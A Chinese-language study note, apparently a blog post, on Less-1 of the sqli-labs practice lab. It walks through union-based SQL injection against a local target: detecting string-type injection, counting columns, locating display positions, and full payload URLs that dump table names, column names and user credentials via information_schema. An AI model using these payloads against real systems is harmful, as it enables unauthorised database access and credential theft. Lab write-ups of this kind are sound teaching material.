sqli_lab Less1练习笔记

Tperm / 2024-02-28 / 原文

首先观察页面信息,看有没有提示。
image
很显然,这个页面让我们传入id这个参数(根据题目的分支,应该是get方法

使用HackBar进行传入参数,首先传入id=1
http://localhost/sqli-labs-master/Less-1/?id=1
image
发现回显正常

第一步、基础判断

下面进行基础的判断,传入id=1' --+
回显正常,所以判断为字符型注入


ps:关于如何字符型注入和数字型注入的区别(来自copilot)
字符型注入和数字型注入是SQL注入漏洞中的两种常见类型。让我们来详细了解一下如何判断它们。

  1. 数字型注入

    • 当输入的参数 x 为整型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = x;
      
    • 这种类型可以使用经典的 AND 1=1AND 1=2 来判断。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=x AND 1=1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=x AND 1=2,页面会报错,这说明存在数字型注入。
    • 原因是:当输入 AND 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且返回正常。而输入 AND 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = 1 AND 1=2;,没有语法错误但返回错误。
  2. 字符型注入

    • 当输入的参数 x 为字符型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = 'x';
      
    • 这种类型我们可以使用 AND '1'='1AND '1'='2 来进行测试。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=1' AND '1'='1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=1' AND '1'='2,页面会报错,说明存在字符型注入。
    • 原因是:当输入 AND '1'='1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='1',语法正确、逻辑判断正确,返回正确。而输入 AND '1'='2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='2',语法正确、逻辑判断错误,返回错误。

总结:

  • 字符型注入需要用单引号来闭合字符串,而数字型不需要。
  • 判断注入类型并不是绝对准确的过程,因为攻击者可以使用各种技巧来绕过检测。
  • 最佳实践是使用参数化查询或预编译语句等安全编程技术来防止注入攻击,同时定期更新和修补软件以修复已知的安全漏洞¹³⁴.

源: 与必应的对话, 2024/2/28
(1) 如何判断是字符型注入还是数字型注入 - CSDN博客. https://blog.csdn.net/chenzzhenguo/article/details/108842399.
(2) 关于字符型注入判断的总结 - 知乎. https://zhuanlan.zhihu.com/p/23899464.
(3) sql注入类型的判断 - 知乎. https://zhuanlan.zhihu.com/p/99961411.
(4) 怎么判断sql注入是数字型还是字符型 - CSDN文库. https://bing.com/search?q=如何判断字符型注入.
(5) sql注入入门必看!一篇文章快速判断是字符型注入 .... https://blog.csdn.net/weixin_43919144/article/details/105552701.
(6) undefined. https://www.jianshu.com/p/5edd7a58a69e.
(7) undefined. http://xxx/abc.php?id=.


第二步、判断列数

在我们判断为字符型注入之后,下面进行列数判断
一般用order by
传入id=1' order by 1 --+
回显正常
下面依次尝试2,3,4...
发现order by 4 的时候回显报错
这样就可以判断列数有三列

第三步、爆显示位

这里我们使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆出回显位如图
image

第四步、获取数据库版本、数据库名称等信息

还是使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

爆出回显如图
image

第五步、逐步深入获取数据库信息

现在数据库名称已经爆出来了,下面只需要逐步深入数据库内部,从库名到表名到列名,最后提取需要的信息


下面还是补充一点知识点:
information_schema 是 MySQL 自带的一个信息数据库,它保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等¹²³. 让我们来详细了解一下:

  1. SCHEMATA 表:提供了当前 MySQL 实例中所有数据库的信息,类似于 SHOW DATABASES 的结果¹.
  2. TABLES 表:提供了关于数据库中的表的信息,包括视图。它详细描述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息,类似于 SHOW TABLES FROM schemaname 的结果¹.
  3. COLUMNS 表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息,类似于 SHOW COLUMNS FROM schemaname.tablename 的结果¹.
  4. STATISTICS 表:提供了关于表索引的信息,类似于 SHOW INDEX FROM schemaname.tablename 的结果¹.
  5. USER_PRIVILEGES 表:给出了关于全程权限的信息,该信息源自 mysql.user 授权表,是非标准表¹.
  6. SCHEMA_PRIVILEGES 表:给出了关于方案(数据库)权限的信息,该信息来自 mysql.db 授权表,是非标准表¹.
  7. TABLE_PRIVILEGES 表:给出了关于表权限的信息,该信息源自 mysql.tables_priv 授权表,是非标准表¹.
  8. COLUMN_PRIVILEGES 表:给出了关于列权限的信息,该信息源自 mysql.columns_priv 授权表,是非标准表¹.
  9. CHARACTER_SETS 表:提供了 MySQL 实例可用字符集的信息,类似于 SHOW CHARACTER SET 的结果¹.
  10. COLLATIONS 表:提供了关于各字符集的对照信息¹.
  11. COLLATION_CHARACTER_SET_APPLICABILITY 表:指明了可用于校对的字符集,这些列等效于 SHOW COLLATION 的前两个显示字段¹.
  12. TABLE_CONSTRAINTS 表:描述了存在约束的表以及表的约束类型¹.
  13. KEY_COLUMN_USAGE 表:描述了具有约束的键列¹.
  14. ROUTINES 表:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES 表不包含自定义函数(UDF)¹.
  15. VIEWS 表:给出了关于数据库中的视图的信息,需要有 SHOW VIEWS 权限,否则无法查看视图信息¹.
  16. TRIGGERS 表:提供了关于触发程序的信息,必须有 SUPER 权限才能查看该表¹.

总之,information_schema 就像是 MySQL 实例的一个百科全书,记录了数据库中大部分需要了解的信息,包括字符集、权限、数据库实体对象信息、外键约束、分区、压缩表、表信息、索引信息、参数、优化、锁和事务等等。通过 information_schema,我们可以窥探整个 MySQL 实例的运行情况,了解 MySQL 实例的基本信息,甚至进行优化调优和维护数据库¹.

源: 与必应的对话, 2024/2/28
(1) MySQL information_schema 详解 - 知乎. https://zhuanlan.zhihu.com/p/88342863.
(2) mysql中information_schema表 - ruijing - 博客园. https://www.cnblogs.com/ruijing/p/9953283.html.
(3) mysql information_schema介绍 - HalfWater - 博客园. https://www.cnblogs.com/sdgf/p/6365968.html.
(4) MySQL进阶:INFORMATION_SCHEMA 简介 - 程序猿成长计划 .... https://segmentfault.com/a/1190000020855895.


回到题目
首先爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'  --+

image

下一步爆列(我们选择爆出来的user表)

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'  --+

image

最后提取信息

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(id,username,password) from users   --+

image

这样我们注入的目的就达到了